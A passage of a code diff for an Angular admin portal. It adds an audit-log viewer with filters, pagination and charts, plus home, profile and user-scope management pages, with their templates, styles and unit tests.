it('renders a permission-aware error when the stats endpoint returns 403', async () => {
const { fixture } = setup({ initialStats: 'error', status: 403 });
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
Array.from(root.querySelectorAll<HTMLButtonElement>('.tab'))
.find((b) => b.textContent?.trim() === 'Charts')
?.click();
await flush(fixture);
const errMsg = root.querySelector('.status-line--error')?.textContent?.trim();
expect(errMsg).toContain('do not have access');
});
});
});
@@ -0,0 +1,335 @@
import { ChangeDetectionStrategy, Component, computed, inject, signal } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { firstValueFrom } from 'rxjs';
import { BarChart, DonutChart, StackedBarChart, semanticStatusColors } from 'shared-charts';
import { environment } from '../../../environments/environment';
import {
AuditEventsService,
type AdminAuditPage,
type AdminAuditQuery,
type AdminAuditStats,
type AdminAuditStatsQuery,
} from './audit-events.service';
/** Tabs shown above the audit content. */
type AuditTab = 'table' | 'charts';
/** Page-size options the SPA offers. Matches the BFF's `DEFAULT_LIMIT` (50) and `MAX_LIMIT` (200). */
const PAGE_SIZES = [25, 50, 100, 200] as const;
/**
* Audit log viewer per ADR-0020's v1 admin catalogue. Consumes
* `GET /api/admin/audit` from the BFF (PR #132) and renders:
*
* - A filter row binding to the same fields the BFF accepts
* (event type, audience, outcome, subject prefix, time range).
* - A page-size selector + previous / next buttons. Pagination is
* offset-based to match the BFF's v1 implementation.
* - A table of results with the timestamp (locale-formatted),
* event type, audience+outcome cell, actor hash + subject, and
* trace id. Payload is rendered as JSON in a details disclosure
* so the table stays scannable but the structured detail is one
* click away.
*
* The page emits its own `admin.audit.query` audit row server-side on
* every fetch — the BFF deterrent against fishing expeditions is on
* the read endpoint itself, not in the SPA.
*/
@Component({
selector: 'app-audit-page',
imports: [FormsModule, BarChart, DonutChart, StackedBarChart],
templateUrl: './audit.html',
styleUrl: './audit.scss',
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class AuditPage {
private readonly service = inject(AuditEventsService);
protected readonly pageSizes = PAGE_SIZES;
/**
* Outcome → fill mapping for the donut chart. Semantic colours
* resolved from the shared-charts curated set: success = green,
* denied = orange (`warning` intent), failure = red. Keeps the
* legend "obvious without reading" — admins eyeballing the donut
* see the green slice and know it's success without parsing the
* tooltip.
*/
protected readonly outcomeColorMap: Readonly<Record<string, string>> = {
success: semanticStatusColors.success,
failure: semanticStatusColors.error,
denied: semanticStatusColors.warning,
};
// Filter form state. Each field is a separate signal so a change
// to one doesn't churn the others through ngModel's reference
// equality. All start empty — the BFF returns the most recent
// events on an unfiltered query.
protected readonly eventType = signal('');
protected readonly actorIdHash = signal('');
protected readonly audience = signal<'' | 'workforce' | 'customer'>('');
protected readonly outcome = signal<'' | 'success' | 'failure' | 'denied'>('');
protected readonly subjectPrefix = signal('');
protected readonly createdAtFrom = signal('');
protected readonly createdAtTo = signal('');
protected readonly limit = signal<number>(50);
protected readonly offset = signal<number>(0);
// Result state. `page` is the current server response; `loading`
// is true while a fetch is in flight; `error` carries a short
// string for the alert region.
protected readonly page = signal<AdminAuditPage | null>(null);
protected readonly loading = signal(false);
protected readonly error = signal<string | null>(null);
/** True when the loaded page does NOT cover the next offset boundary. */
protected readonly hasNextPage = computed(() => {
const p = this.page();
if (p === null) return false;
return p.offset + p.items.length < p.total;
});
protected readonly hasPreviousPage = computed(() => {
const p = this.page();
if (p === null) return false;
return p.offset > 0;
});
// Human-readable "results 150 of 1 234" string. Defensive — when
// the page is empty we report "no results" rather than "10".
protected readonly resultRange = computed(() => {
const p = this.page();
if (p === null) return '';
if (p.items.length === 0) return p.total === 0 ? 'No results' : `0 of ${p.total}`;
const first = p.offset + 1;
const last = p.offset + p.items.length;
return `${first}${last} of ${p.total}`;
});
// ---------------------------------------------------------------
// Tabs + server-side stats — Charts tab consumes
// `GET /api/admin/audit/stats` (full filtered set, Redis-cached
// 5 min per filter-hash per ADR-0013 §"Reader endpoints"). Fetch
// is lazy: only fires when the Charts tab is opened, then again
// when filters change with the Charts tab active.
// ---------------------------------------------------------------
protected readonly tab = signal<AuditTab>('table');
protected readonly stats = signal<AdminAuditStats | null>(null);
protected readonly statsLoading = signal(false);
protected readonly statsError = signal<string | null>(null);
/** True when the loaded stats are non-empty (total > 0). */
protected readonly hasChartData = computed(() => (this.stats()?.total ?? 0) > 0);
/**
* Run a new query with the current filter signals at offset 0.
* Called by the "Apply filters" button + the initial render via
* the template's `@defer (on viewport)` block.
*
* When the user applies new filters, the loaded `stats` becomes
* stale — clear it so the next visit to the Charts tab refetches.
* If the Charts tab is currently active, refetch immediately;
* otherwise wait for the user to open it.
*/
async search(): Promise<void> {
this.offset.set(0);
this.stats.set(null);
const tasks: Array<Promise<void>> = [this.fetch()];
if (this.tab() === 'charts') {
tasks.push(this.fetchStats());
}
await Promise.all(tasks);
}
/**
* Switch to a tab. On the first switch to `charts` (or any switch
* that follows a filter change), fire the stats fetch — pagination
* within the table doesn't invalidate stats (the filtered set is
* unchanged), so re-opening Charts after paginating is free.
*/
async setTab(tab: AuditTab): Promise<void> {
this.tab.set(tab);
if (tab === 'charts' && this.stats() === null && !this.statsLoading()) {
await this.fetchStats();
}
}
/** Page navigation — moves the offset by `limit`, then fetches. */
async next(): Promise<void> {
if (!this.hasNextPage()) return;
this.offset.update((o) => o + this.limit());
await this.fetch();
}
async previous(): Promise<void> {
if (!this.hasPreviousPage()) return;
this.offset.update((o) => Math.max(0, o - this.limit()));
await this.fetch();
}
/** Reset every filter to its empty value and re-query. */
async clearFilters(): Promise<void> {
this.eventType.set('');
this.actorIdHash.set('');
this.audience.set('');
this.outcome.set('');
this.subjectPrefix.set('');
this.createdAtFrom.set('');
this.createdAtTo.set('');
this.offset.set(0);
this.stats.set(null);
const tasks: Array<Promise<void>> = [this.fetch()];
if (this.tab() === 'charts') {
tasks.push(this.fetchStats());
}
await Promise.all(tasks);
}
/** Format an ISO timestamp into the user's locale for the table. */
protected formatTimestamp(iso: string): string {
try {
return new Date(iso).toLocaleString();
} catch {
// Fall back to the raw ISO string if Date refuses it — better
// than rendering "Invalid Date" in the table.
return iso;
}
}
/** Stringify the JSONB payload for the disclosure widget. */
protected formatPayload(payload: Record<string, unknown> | null): string {
if (payload === null) return '—';
try {
return JSON.stringify(payload, null, 2);
} catch {
return String(payload);
}
}
/**
* Build a Jaeger-UI deep link for the given trace id — the audit
* table's `trace_id` cell becomes a clickable link to the
* trace-explorer per ADR-0012's "join audit and app logs by
* trace_id" promise. Anonymous events (`traceId === null`) don't
* get a link; the cell stays a dash.
*/
protected jaegerUrl(traceId: string): string {
return `${environment.jaegerBaseUrl}/trace/${encodeURIComponent(traceId)}`;
}
/**
* Pivot the table on a single actor: set the `actorIdHash` filter
* to the clicked hash, reset paging to 0, and re-query. Lets an
* investigator click any row's actor cell to "show me everything
* else this actor did". Per-query audit row (`admin.audit.query`)
* is still emitted server-side so the pivot is itself auditable.
*/
async filterByActor(hash: string): Promise<void> {
if (!hash) return;
this.actorIdHash.set(hash);
this.offset.set(0);
this.stats.set(null);
const tasks: Array<Promise<void>> = [this.fetch()];
if (this.tab() === 'charts') {
tasks.push(this.fetchStats());
}
await Promise.all(tasks);
}
private async fetch(): Promise<void> {
this.loading.set(true);
this.error.set(null);
try {
const filters = this.buildFilters();
const page = await firstValueFrom(this.service.query(filters));
this.page.set(page);
} catch (err) {
// Don't surface the raw error message to the admin — it's
// either a 401 (handled by the unauthorized interceptor), a
// 403 (admin role revoked mid-session), or a 5xx. A short
// generic string keeps the UI predictable; the structured
// error envelope is in the network tab for ops.
const status = errorStatus(err);
this.error.set(
status === 403
? 'You do not have access to the audit log on this session.'
: 'Could not load the audit log. Try again in a moment.',
);
this.page.set(null);
} finally {
this.loading.set(false);
}
}
private buildFilters(): AdminAuditQuery {
return {
eventType: this.eventType().trim() || undefined,
actorIdHash: this.actorIdHash().trim() || undefined,
audience: this.audience() || undefined,
outcome: this.outcome() || undefined,
subjectPrefix: this.subjectPrefix().trim() || undefined,
createdAtFrom: this.createdAtFrom() ? toIso(this.createdAtFrom()) : undefined,
createdAtTo: this.createdAtTo() ? toIso(this.createdAtTo()) : undefined,
limit: this.limit(),
offset: this.offset(),
};
}
/**
* Stats endpoint call. Shares the filter shape with `fetch` minus
* pagination — `buildStatsFilters` strips `limit/offset`.
*/
private async fetchStats(): Promise<void> {
this.statsLoading.set(true);
this.statsError.set(null);
try {
const filters = this.buildStatsFilters();
const stats = await firstValueFrom(this.service.stats(filters));
this.stats.set(stats);
} catch (err) {
const status = errorStatus(err);
this.statsError.set(
status === 403
? 'You do not have access to the audit log on this session.'
: 'Could not load audit statistics. Try again in a moment.',
);
this.stats.set(null);
} finally {
this.statsLoading.set(false);
}
}
private buildStatsFilters(): AdminAuditStatsQuery {
const { limit: _limit, offset: _offset, ...rest } = this.buildFilters();
void _limit;
void _offset;
return rest;
}
ngOnInit(): void {
// Fire the initial unfiltered query so the table renders with
// the most recent events on first paint. Fire-and-forget — the
// page handles its own loading / error state internally.
void this.fetch();
}
}
function toIso(localValue: string): string {
// `<input type="datetime-local">` emits `YYYY-MM-DDTHH:mm` (no
// timezone). Treat that as the user's local time and convert to
// a true ISO 8601 string so the BFF's IsISO8601 validator accepts
// it. Falls back to the raw value if Date can't parse it (the
// BFF will then return a 400 with a clear validation error).
const d = new Date(localValue);
return Number.isNaN(d.getTime()) ? localValue : d.toISOString();
}
function errorStatus(err: unknown): number | null {
if (typeof err === 'object' && err !== null && 'status' in err) {
const s = (err as { status: unknown }).status;
return typeof s === 'number' ? s : null;
}
return null;
}
@@ -0,0 +1,41 @@
<section class="home">
<h1 class="title" i18n="@@page.home.title">APF Portal Admin</h1>
<p class="intro">
Administrative back-office for the APF Portal. Sign in with an Entra account that carries the
<code>admin</code> app role to reach the functional modules.
</p>
<article class="auth-card" aria-live="polite">
@switch (state().kind) { @case ('loading') {
<p class="status-line">Checking your admin session…</p>
} @case ('anonymous') {
<p class="status-line">No admin session detected.</p>
<button type="button" class="btn btn--primary" (click)="signIn()">Sign in via Entra</button>
} @case ('error') {
<p class="status-line status-line--error">Could not reach the BFF to resolve the session.</p>
<button type="button" class="btn btn--secondary" (click)="signIn()">Try sign in</button>
} @case ('authenticated') { @if (currentUser(); as user) {
<p class="status-line status-line--ok">Signed in as <strong>{{ user.displayName }}</strong>.</p>
<dl class="session-detail">
<dt>Username</dt>
<dd>{{ user.username }}</dd>
<dt>Tenant</dt>
<dd>{{ user.tid }}</dd>
<dt>OID</dt>
<dd>{{ user.oid }}</dd>
</dl>
} } }
</article>
<section class="roadmap" aria-labelledby="roadmap-heading">
<h2 id="roadmap-heading" class="roadmap-heading">Coming next</h2>
<ul class="roadmap-list">
<li>
<strong>Audit log viewer</strong> — paginated, filterable view of <code>audit.events</code>.
</li>
<li><strong>CMS pages</strong> — CRUD on editorial content per locale (ADR-0019).</li>
<li><strong>Menu management</strong> — toggle items + role-gate them.</li>
<li><strong>User list</strong> — read-only directory derived from sign-in events.</li>
</ul>
</section>
</section>
@@ -0,0 +1,153 @@
.home {
max-width: 56rem;
margin: 0 auto;
}
.title {
font-size: 1.875rem;
font-weight: 600;
letter-spacing: -0.01em;
margin: 0;
}
.intro {
margin: 0.75rem 0 1.5rem;
font-size: 1rem;
line-height: 1.6;
color: #4b5563;
code {
padding: 0.0625rem 0.25rem;
border-radius: 0.25rem;
background-color: rgba(0, 0, 0, 0.05);
font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
font-size: 0.875em;
}
}
:host-context(.dark) .intro {
color: #d1d5db;
code {
background-color: rgba(255, 255, 255, 0.08);
}
}
.auth-card {
padding: 1.25rem;
border: 1px solid #e5e7eb;
border-radius: 0.5rem;
background-color: #ffffff;
}
:host-context(.dark) .auth-card {
background-color: #111827;
border-color: #1f2937;
}
.status-line {
margin: 0 0 0.75rem;
font-size: 0.9375rem;
}
.status-line--ok {
color: #15803d;
}
.status-line--error {
color: #b91c1c;
}
:host-context(.dark) .status-line--ok {
color: #4ade80;
}
:host-context(.dark) .status-line--error {
color: #fca5a5;
}
.session-detail {
display: grid;
grid-template-columns: 8rem 1fr;
gap: 0.25rem 1rem;
margin: 0;
font-size: 0.875rem;
dt {
color: #6b7280;
font-weight: 500;
}
dd {
margin: 0;
font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
word-break: break-all;
}
}
:host-context(.dark) .session-detail dt {
color: #9ca3af;
}
.btn {
display: inline-flex;
align-items: center;
height: 2.25rem;
padding: 0 0.875rem;
border: 1px solid transparent;
border-radius: 0.25rem;
font-size: 0.875rem;
font-weight: 500;
cursor: pointer;
&:focus-visible {
outline: 2px solid var(--color-brand-primary-500, #2563eb);
outline-offset: 2px;
}
}
.btn--primary {
background-color: var(--color-brand-primary-600, #2563eb);
color: #ffffff;
&:hover {
background-color: var(--color-brand-primary-700, #1d4ed8);
}
}
.btn--secondary {
background-color: transparent;
border-color: #d1d5db;
color: inherit;
&:hover {
background-color: rgba(0, 0, 0, 0.04);
}
}
.roadmap {
margin-top: 2rem;
padding-top: 1.5rem;
border-top: 1px solid #e5e7eb;
}
:host-context(.dark) .roadmap {
border-top-color: #1f2937;
}
.roadmap-heading {
font-size: 1.125rem;
font-weight: 600;
margin: 0 0 0.75rem;
}
.roadmap-list {
margin: 0;
padding-left: 1.25rem;
font-size: 0.9375rem;
line-height: 1.7;
li {
margin-bottom: 0.25rem;
}
}
@@ -0,0 +1,86 @@
import { provideHttpClient } from '@angular/common/http';
import { HttpTestingController, provideHttpClientTesting } from '@angular/common/http/testing';
import { TestBed } from '@angular/core/testing';
import {
AUTH_BFF_BASE_URL,
AUTH_NAVIGATOR,
AUTH_PATH_PREFIX,
type CurrentUser,
} from 'feature-auth';
import { Home } from './home';
const BFF_BASE = 'http://bff.test/api';
const ADMIN_ME_URL = `${BFF_BASE}/admin/auth/me`;
const USER: CurrentUser = {
oid: 'admin-oid',
tid: 'tenant-1',
username: 'admin@apf.example',
displayName: 'Admin Smith',
};
async function setup(opts: { onBootstrap: 'authenticated' | 'anonymous' }) {
const navigate = vi.fn();
TestBed.configureTestingModule({
imports: [Home],
providers: [
provideHttpClient(),
provideHttpClientTesting(),
{ provide: AUTH_BFF_BASE_URL, useValue: BFF_BASE },
{ provide: AUTH_PATH_PREFIX, useValue: '/admin/auth' },
{ provide: AUTH_NAVIGATOR, useValue: navigate },
],
});
const fixture = TestBed.createComponent(Home);
const http = TestBed.inject(HttpTestingController);
const req = http.expectOne(ADMIN_ME_URL);
if (opts.onBootstrap === 'authenticated') {
req.flush(USER);
} else {
req.flush({}, { status: 401, statusText: 'Unauthorized' });
}
await Promise.resolve();
fixture.detectChanges();
await fixture.whenStable();
return { fixture, http, navigate };
}
describe('Home', () => {
it('renders the "no session" state with a Sign in button when anonymous', async () => {
const { fixture } = await setup({ onBootstrap: 'anonymous' });
const root = fixture.nativeElement as HTMLElement;
expect(root.querySelector('.status-line')?.textContent).toContain('No admin session');
expect(root.querySelector('.btn--primary')?.textContent?.trim()).toBe('Sign in via Entra');
});
it('renders the signed-in payload (display name + tenant + oid) when authenticated', async () => {
const { fixture } = await setup({ onBootstrap: 'authenticated' });
const root = fixture.nativeElement as HTMLElement;
expect(root.querySelector('.status-line--ok')?.textContent).toContain('Admin Smith');
const dds = Array.from(root.querySelectorAll<HTMLElement>('.session-detail dd')).map((el) =>
el.textContent?.trim(),
);
expect(dds).toContain('admin@apf.example');
expect(dds).toContain('tenant-1');
expect(dds).toContain('admin-oid');
});
it('navigates to the admin login URL on Sign in click', async () => {
const { fixture, navigate } = await setup({ onBootstrap: 'anonymous' });
(fixture.nativeElement as HTMLElement)
.querySelector<HTMLButtonElement>('.btn--primary')
?.click();
expect(navigate).toHaveBeenCalledWith(`${BFF_BASE}/admin/auth/login`);
});
it('lists the roadmap items (audit log, CMS, menu, user list)', async () => {
const { fixture } = await setup({ onBootstrap: 'anonymous' });
const items = Array.from(
(fixture.nativeElement as HTMLElement).querySelectorAll<HTMLElement>('.roadmap-list li'),
).map((li) => li.textContent ?? '');
expect(items.some((t) => t.includes('Audit log viewer'))).toBe(true);
expect(items.some((t) => t.includes('CMS pages'))).toBe(true);
expect(items.some((t) => t.includes('Menu management'))).toBe(true);
expect(items.some((t) => t.includes('User list'))).toBe(true);
});
});
@@ -0,0 +1,31 @@
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { AuthService } from 'feature-auth';
/**
* Admin landing page. v1 renders a self-test panel for the
* admin-portal auth chain: status from `AuthService` (signed-in
* payload + roles, or anonymous), a "Sign in" button when no admin
* session is present, and the next-up roadmap from ADR-0020 §"v1
* scope".
*
* Functional modules (CMS, menu management, user list, audit log
* viewer) replace this page progressively. The audit-log viewer is
* next per the chantier sequence.
*/
@Component({
selector: 'app-home',
templateUrl: './home.html',
styleUrl: './home.scss',
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class Home {
private readonly auth = inject(AuthService);
protected readonly state = this.auth.state;
protected readonly currentUser = this.auth.currentUser;
protected readonly isLoading = this.auth.isLoading;
protected signIn(): void {
this.auth.login();
}
}
@@ -0,0 +1,48 @@
@if (user(); as currentUser) {
<section class="profile">
<header class="profile-header">
<h1 class="title">My profile</h1>
<p class="intro">
Identity served by the BFF from the active admin session. Read-only — role assignments are
managed in the Entra Admin Center.
</p>
</header>
<article class="card" aria-labelledby="identity-heading">
<h2 id="identity-heading" class="card-title">Identity</h2>
<dl class="grid">
<div>
<dt>Display name</dt>
<dd data-testid="profile-displayname">{{ currentUser.displayName }}</dd>
</div>
<div>
<dt>Username</dt>
<dd data-testid="profile-username">{{ currentUser.username }}</dd>
</div>
<div>
<dt>Entra object id</dt>
<dd class="mono" data-testid="profile-oid">{{ currentUser.oid }}</dd>
</div>
<div>
<dt>Tenant id</dt>
<dd class="mono" data-testid="profile-tid">{{ currentUser.tid }}</dd>
</div>
</dl>
</article>
@if (currentUser.roles && currentUser.roles.length > 0) {
<article class="card" aria-labelledby="roles-heading">
<h2 id="roles-heading" class="card-title">App roles</h2>
<p class="card-intro">
Roles assigned on the BFF's Entra app registration. Drives access to
<code>/api/admin/*</code> through <code>&#64;RequireAdmin</code>.
</p>
<ul class="roles" data-testid="profile-roles">
@for (role of currentUser.roles; track role) {
<li class="role-chip">{{ role }}</li>
}
</ul>
</article>
}
</section>
}
@@ -0,0 +1,150 @@
.profile {
max-width: 720px;
margin: 0 auto;
}
.profile-header {
margin-bottom: 1.5rem;
}
.title {
font-size: 1.5rem;
font-weight: 600;
margin: 0 0 0.25rem;
}
.intro {
margin: 0;
font-size: 0.875rem;
color: #6b7280;
}
:host-context(.dark) .intro {
color: #9ca3af;
}
.card {
padding: 1rem 1.25rem;
margin-bottom: 1rem;
background-color: #ffffff;
border: 1px solid #e5e7eb;
border-radius: 0.5rem;
}
:host-context(.dark) .card {
background-color: #111827;
border-color: #1f2937;
}
.card-title {
margin: 0 0 0.75rem;
font-size: 0.875rem;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.05em;
color: #6b7280;
}
:host-context(.dark) .card-title {
color: #9ca3af;
}
.card-intro {
margin: 0 0 0.75rem;
font-size: 0.875rem;
color: #4b5563;
code {
padding: 0.0625rem 0.25rem;
border-radius: 0.25rem;
background-color: rgba(0, 0, 0, 0.05);
font-family: ui-monospace, monospace;
font-size: 0.875em;
}
}
:host-context(.dark) .card-intro {
color: #d1d5db;
code {
background-color: rgba(255, 255, 255, 0.08);
}
}
.grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 0.875rem 1.25rem;
margin: 0;
@media (max-width: 540px) {
grid-template-columns: 1fr;
}
> div {
display: flex;
flex-direction: column;
gap: 0.25rem;
}
dt {
font-size: 0.6875rem;
text-transform: uppercase;
letter-spacing: 0.05em;
color: #6b7280;
font-weight: 500;
}
dd {
margin: 0;
font-size: 0.875rem;
color: #111827;
}
dd.mono {
font-family: ui-monospace, monospace;
font-size: 0.75rem;
color: #374151;
word-break: break-all;
}
}
:host-context(.dark) .grid {
dt {
color: #9ca3af;
}
dd {
color: #f3f4f6;
}
dd.mono {
color: #d1d5db;
}
}
.roles {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
list-style: none;
margin: 0;
padding: 0;
}
.role-chip {
display: inline-flex;
align-items: center;
padding: 0.25rem 0.625rem;
border-radius: 999px;
background-color: rgba(29, 78, 216, 0.1);
color: var(--color-brand-primary-700, #1e40af);
font-size: 0.75rem;
font-weight: 600;
letter-spacing: 0.02em;
}
:host-context(.dark) .role-chip {
background-color: rgba(96, 165, 250, 0.16);
color: #bfdbfe;
}
@@ -0,0 +1,86 @@
import { provideHttpClient } from '@angular/common/http';
import { HttpTestingController, provideHttpClientTesting } from '@angular/common/http/testing';
import { TestBed } from '@angular/core/testing';
import { provideRouter } from '@angular/router';
import {
AUTH_BFF_BASE_URL,
AUTH_NAVIGATOR,
AUTH_PATH_PREFIX,
type CurrentUser,
} from 'feature-auth';
import { ProfilePage } from './profile';
const BFF_BASE = 'http://bff.test/api';
const ADMIN_ME_URL = `${BFF_BASE}/admin/auth/me`;
const USER: CurrentUser = {
oid: 'admin-oid-abc',
tid: 'tenant-1',
username: 'admin@apf.example',
displayName: 'Admin Smith',
roles: ['Portal.Admin'],
};
async function setup(user: CurrentUser | null) {
TestBed.configureTestingModule({
imports: [ProfilePage],
providers: [
provideRouter([]),
provideHttpClient(),
provideHttpClientTesting(),
{ provide: AUTH_BFF_BASE_URL, useValue: BFF_BASE },
{ provide: AUTH_PATH_PREFIX, useValue: '/admin/auth' },
{ provide: AUTH_NAVIGATOR, useValue: vi.fn() },
],
});
const fixture = TestBed.createComponent(ProfilePage);
const http = TestBed.inject(HttpTestingController);
const req = http.expectOne(ADMIN_ME_URL);
if (user) {
req.flush(user);
} else {
req.flush({}, { status: 401, statusText: 'Unauthorized' });
}
await Promise.resolve();
fixture.detectChanges();
await fixture.whenStable();
return { fixture, http };
}
describe('ProfilePage (portal-admin)', () => {
beforeEach(() => TestBed.resetTestingModule());
it('renders the identity card with displayName, username, oid, tid', async () => {
const { fixture } = await setup(USER);
const root = fixture.nativeElement as HTMLElement;
expect(root.querySelector('[data-testid="profile-displayname"]')?.textContent?.trim()).toBe(
'Admin Smith',
);
expect(root.querySelector('[data-testid="profile-username"]')?.textContent?.trim()).toBe(
'admin@apf.example',
);
expect(root.querySelector('[data-testid="profile-oid"]')?.textContent?.trim()).toBe(
'admin-oid-abc',
);
expect(root.querySelector('[data-testid="profile-tid"]')?.textContent?.trim()).toBe('tenant-1');
});
it('renders the App roles card with one chip per role when present', async () => {
const { fixture } = await setup({ ...USER, roles: ['Portal.Admin', 'Portal.Auditor'] });
const root = fixture.nativeElement as HTMLElement;
const chips = Array.from(root.querySelectorAll('[data-testid="profile-roles"] .role-chip'));
expect(chips.map((el) => el.textContent?.trim())).toEqual(['Portal.Admin', 'Portal.Auditor']);
});
it('omits the App roles card entirely when the session carries no roles', async () => {
const { fixture } = await setup({ ...USER, roles: [] });
const root = fixture.nativeElement as HTMLElement;
expect(root.querySelector('[data-testid="profile-roles"]')).toBeNull();
});
it('renders nothing when the user is anonymous (template @if guard)', async () => {
const { fixture } = await setup(null);
const root = fixture.nativeElement as HTMLElement;
expect(root.querySelector('.profile')).toBeNull();
});
});
@@ -0,0 +1,25 @@
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { AuthService } from 'feature-auth';
/**
* Admin-portal profile page. Lazy-loaded at `/profile`, gated by
* `authGuard` so `AuthService.currentUser()` is guaranteed non-null
* by the time the template runs.
*
* Carries more identity surface than the `portal-shell` counterpart
* because the admin-side `/api/admin/auth/me` includes the `roles`
* claim (admin SPA renders role badges, drives admin-only UI). The
* user-portal page deliberately skips `roles` to stay aligned with
* ADR-0009 §"curated public view" — see `CurrentUser` for the field
* shape.
*/
@Component({
selector: 'app-profile-page',
templateUrl: './profile.html',
styleUrl: './profile.scss',
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class ProfilePage {
private readonly auth = inject(AuthService);
protected readonly user = this.auth.currentUser;
}
@@ -0,0 +1,126 @@
<section class="user-scopes">
<header class="user-scopes-header">
<p class="crumbs">
<a routerLink="/users">← Back to users</a>
</p>
<h1 class="title">User scopes</h1>
@if (page(); as p) {
<p class="intro">
Managing scopes for <strong>{{ p.user.displayName }}</strong> ({{ p.user.email ?? '—' }},
<code>{{ p.user.oid }}</code>). Every grant emits <code>admin.scope_granted</code> and every
revoke emits <code>admin.scope_revoked</code> — scope-management is itself auditable per
ADR-0013.
</p>
}
</header>
<div class="status-bar" role="status" aria-live="polite">
@if (loading()) {
<span class="status-line">Loading…</span>
} @else if (error(); as msg) {
<span class="status-line status-line--error">{{ msg }}</span>
}
</div>
@if (page(); as p) {
<section class="scopes-section" aria-labelledby="current-scopes-h">
<h2 id="current-scopes-h" class="section-heading">Current scopes</h2>
@if (p.scopes.length === 0) {
<p class="empty">No scopes granted to this user yet.</p>
} @else {
<div class="table-wrap">
<table class="scopes-table">
<thead>
<tr>
<th scope="col">Scope</th>
<th scope="col">Source</th>
<th scope="col">Granted</th>
<th scope="col">Expires</th>
<th scope="col"><span class="sr-only">Actions</span></th>
</tr>
</thead>
<tbody>
@for (scope of p.scopes; track scope.id) {
<tr>
<td class="cell-scope">
<code>{{ formatScope(scope.kind, scope.value) }}</code>
</td>
<td class="cell-source">{{ scope.source }}</td>
<td class="cell-timestamp">{{ formatTimestamp(scope.createdAt) }}</td>
<td class="cell-timestamp">{{ formatTimestamp(scope.expiresAt) }}</td>
<td class="cell-actions">
<button
type="button"
class="btn btn--danger"
(click)="revoke(scope.id, formatScope(scope.kind, scope.value))"
>
Revoke
</button>
</td>
</tr>
}
</tbody>
</table>
</div>
}
</section>
<section class="grant-section" aria-labelledby="grant-h">
<h2 id="grant-h" class="section-heading">Grant a new scope</h2>
<form class="grant-form" (submit)="$event.preventDefault(); grant()">
<div class="grant-grid">
<label class="field">
<span class="field-label">Kind</span>
<select
name="kind"
[ngModel]="newKind()"
(ngModelChange)="newKind.set($event)"
[disabled]="submitting()"
>
@for (kind of scopeKinds; track kind) {
<option [value]="kind">{{ kind }}</option>
}
</select>
</label>
<label class="field" [class.field--hidden]="!needsValue()">
<span class="field-label">Value</span>
<input
type="text"
name="value"
[ngModel]="newValue()"
(ngModelChange)="newValue.set($event)"
[disabled]="submitting() || !needsValue()"
placeholder="0330800013 / 33 / 75"
[attr.aria-required]="needsValue() ? 'true' : 'false'"
[attr.aria-describedby]="needsValue() ? 'value-hint' : null"
/>
@if (needsValue()) {
<span id="value-hint" class="field-hint">
For etablissement: Structure.code. For delegation: dept code (33, 2A). For region: INSEE
region code (75).
</span>
}
</label>
<label class="field">
<span class="field-label">Expires at (optional)</span>
<input
type="datetime-local"
name="expiresAt"
[ngModel]="newExpiresAt()"
(ngModelChange)="newExpiresAt.set($event)"
[disabled]="submitting()"
/>
</label>
</div>
@if (submitError(); as msg) {
<p class="submit-error" role="alert">{{ msg }}</p>
}
<div class="grant-actions">
<button type="submit" class="btn btn--primary" [disabled]="submitting()">
@if (submitting()) { Granting… } @else { Grant }
</button>
</div>
</form>
</section>
}
</section>
@@ -0,0 +1,152 @@
.user-scopes {
padding: 1.5rem;
display: flex;
flex-direction: column;
gap: 1.5rem;
}
.user-scopes-header {
.crumbs {
margin: 0 0 0.5rem;
font-size: 0.875rem;
}
.title {
margin: 0 0 0.5rem;
}
.intro {
margin: 0;
color: var(--color-text-secondary, #555);
}
}
.status-bar {
min-height: 1.5rem;
}
.status-line--error {
color: var(--color-danger, #b00020);
}
.section-heading {
margin: 0 0 0.75rem;
font-size: 1.125rem;
}
.empty {
font-style: italic;
color: var(--color-text-secondary, #555);
}
.table-wrap {
overflow-x: auto;
}
.scopes-table {
width: 100%;
border-collapse: collapse;
th,
td {
padding: 0.5rem 0.75rem;
text-align: left;
border-bottom: 1px solid var(--color-border, #ddd);
}
.cell-scope code {
font-family: var(--font-mono, monospace);
}
.cell-actions {
text-align: right;
}
}
.grant-section {
background: var(--color-bg-surface, #fafafa);
padding: 1rem;
border: 1px solid var(--color-border, #ddd);
border-radius: 0.5rem;
}
.grant-grid {
display: grid;
gap: 1rem;
grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
margin-bottom: 1rem;
}
.field {
display: flex;
flex-direction: column;
gap: 0.25rem;
&.field--hidden {
visibility: hidden;
}
.field-label {
font-weight: 600;
font-size: 0.875rem;
}
.field-hint {
font-size: 0.75rem;
color: var(--color-text-secondary, #555);
}
input,
select {
padding: 0.5rem;
border: 1px solid var(--color-border, #ccc);
border-radius: 0.25rem;
min-height: 44px; /* WCAG 2.2 AA touch target (2.5.5 / 2.5.8). */
}
}
.submit-error {
color: var(--color-danger, #b00020);
margin: 0 0 0.75rem;
}
.grant-actions {
display: flex;
justify-content: flex-end;
}
.btn {
min-height: 44px;
min-width: 44px;
padding: 0.5rem 1rem;
border-radius: 0.25rem;
border: 1px solid transparent;
cursor: pointer;
font-weight: 600;
&:disabled {
opacity: 0.5;
cursor: not-allowed;
}
}
.btn--primary {
background: var(--color-brand-accent-500, #de9415);
color: white;
}
.btn--danger {
background: transparent;
color: var(--color-danger, #b00020);
border-color: currentColor;
}
.sr-only {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
margin: -1px;
overflow: hidden;
clip: rect(0, 0, 0, 0);
white-space: nowrap;
border: 0;
}
@@ -0,0 +1,92 @@
import { provideHttpClient } from '@angular/common/http';
import { HttpTestingController, provideHttpClientTesting } from '@angular/common/http/testing';
import { TestBed } from '@angular/core/testing';
import { firstValueFrom } from 'rxjs';
import { AUTH_BFF_BASE_URL } from 'feature-auth';
import { UserScopesService, type UserScope, type UserScopesPayload } from './user-scopes.service';
const BFF_BASE = 'http://bff.test/api';
